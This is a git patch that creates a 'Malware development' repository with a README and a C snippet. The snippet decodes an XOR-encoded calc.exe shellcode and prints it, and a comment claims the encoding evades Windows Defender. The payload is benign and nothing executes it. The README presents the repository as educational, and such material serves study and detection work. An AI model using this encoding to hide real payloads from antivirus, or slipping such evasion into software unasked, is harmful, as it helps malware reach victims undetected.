From d9c9d0f7e5b64224560c32e860352cb0e89dcea0 Mon Sep 17 00:00:00 2001
From: Print3M <92022497+Print3M@users.noreply.github.com>
Date: Sat, 9 Dec 2023 14:34:40 +0100
Subject: [PATCH] init

---
 README.md     |  7 ++++++
 xor-payload.c | 68 +++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 75 insertions(+)
 create mode 100644 README.md
 create mode 100644 xor-payload.c

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3743466
--- /dev/null
+++ b/README.md
@@ -0,0 +1,7 @@
+# Malware development
+
+> **IMPORTANT**: The code is written and can be used only for the educational purpose!
+
+This repository contains C/C++ snippets of code useful during Windows malware development.
+
+A lot of techniques presented here and much more are described in [my malware-dev notes](https://print3m.github.io/notes) (`/windows/malware-dev`).
diff --git a/xor-payload.c b/xor-payload.c
new file mode 100644
index 0000000..f9b5b76
--- /dev/null
+++ b/xor-payload.c
@@ -0,0 +1,68 @@
+#include <Windows.h>
+#include <stdio.h>
+
+/*
+	Simple XOR of shellcode evades Windows Defender.
+	Paste unxored shellcode and it's detected immediately. 
+*/
+
+// Xored shellcode with calc.exe
+UINT8 CalcShellcodeXored[] = {
+	0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
+	0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
+	0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
+	0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38,
+	0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31,
+	0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78,
+	0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31,
+	0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9,
+	0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35,
+	0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9,
+	0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D,
+	0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20,
+	0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31,
+	0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79,
+	0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16,
+	0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86,
+	0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2,
+	0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15,
+	0x15, 0x65,
+};
+
+UINT8 XorKey[] = {
+	'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
+};
+
+
+VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) {
+	for (SIZE_T i = 0; i < szShellcode; i++) {
+		// Get byte of key
+		UINT8 bKey = pKey[i % szKey];
+
+		// Calculate value
+		pShellcode[i] = pShellcode[i] ^ bKey;
+	}
+}
+
+VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) {
+	for (SIZE_T i = 0; i < szBytes; i++) {
+		if (i > 0 && i % 15 == 0) {
+			printf("\n");
+		}
+
+		printf("0x%02X, ", CalcShellcodeXored[i]);
+	}
+}
+
+INT main() {
+	XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey));
+
+	// Print xored shellcode
+	printf("Decrypted shellcode: \n");
+	PrintBytes(CalcShellcodeXored, sizeof(CalcShellcodeXored));
+
+	// Exit
+	printf("\n\nPress <Enter> To Quit ...");
+	getchar();
+	return 0;
+}
\ No newline at end of file